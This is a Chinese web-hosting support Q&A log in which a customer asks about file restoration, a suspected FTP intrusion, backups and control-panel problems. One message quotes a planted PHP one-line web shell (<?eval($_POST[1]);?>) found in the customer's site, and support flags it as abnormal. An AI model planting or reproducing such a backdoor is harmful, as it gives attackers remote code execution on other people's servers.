问：把wwww的文件帮我恢复到别的文件夹里面，我这边恢复显示失败,帮我恢复下程序文件
问：不用恢复了，已经搞定了
答：您好，好的。
非常感谢您长期对我司的支持！
问：今天我登录ftp后台，发现有一个入侵日志，如图，但是我又不懂技术，您能帮我看看我网站有没有注入什么病毒吗，那条记录已经被我删掉了。另外我想问问，如果有人破解了我ftp的账号密码，然后删掉了我网站的源码，是不是我的网站就废掉了？被删掉的东西也找不回来了？
答：您好，一般把主机的ftp密码设置复杂一些是不会容易被破解的,暂未发现有中毒等情况,但程序是否有漏洞,请联系程序开发人员检查核实一下,虚拟主机可参照https://www.west.cn/faq/list.asp?unid=733 设置主机安全,把不需要更新的一些目录设置为只读,一些需要上传的图片等目录,可在我司虚拟主机管理面板–目录保护,添加进目录保护可禁止一些异常脚本运行,非常感谢您长期对我司的支持!
问：那个e//1.php文件里面的内容是<?eval($_POST[1]);?>
答：您好，从文件内容看是不正常的,建议联系程序提供商检查下程序是否存在上传漏洞等,非常感谢您长期对我司的支持!谢谢!
问：另外我还想问下，西部数码有没有网站和数据库自动备份的功能
答：您好，有自动备份的,一般是备份最近一周左右的,且只备份一次,用户可通过虚拟主机管理–管理–恢复备份等,可查看上次备份的时间,已经可通过此位置选择需要恢复单个文件及目录等,数据库可通过虚拟主机管理–管理–数据库–恢复mysql数据库可进行恢复,非常感谢您长期对我司的支持!谢谢!
问：htwang.cn代理平台很多页面无法点击，有些打不开
答：您好，请您登陆代理平台看下是否更新到最新版本，如没更新请你更新后再测试，如更新后还有问题请提供代理平台管理员账号密码和专属密码我司查看核实下,非常感谢您长期对我司的支持!
问：已经是最新版本htwang.cn账号：密码:**********专属密码:**********
答：您好，同步了产品列表请您在核实测试看下,非常感谢您长期对我司的支持!
问：FTP(上传)用户名：
但是修改密码 提示 没有权限
答：您好，请联系@qq.com 协助检查下,非常感谢您长期对我司的支持!谢谢!
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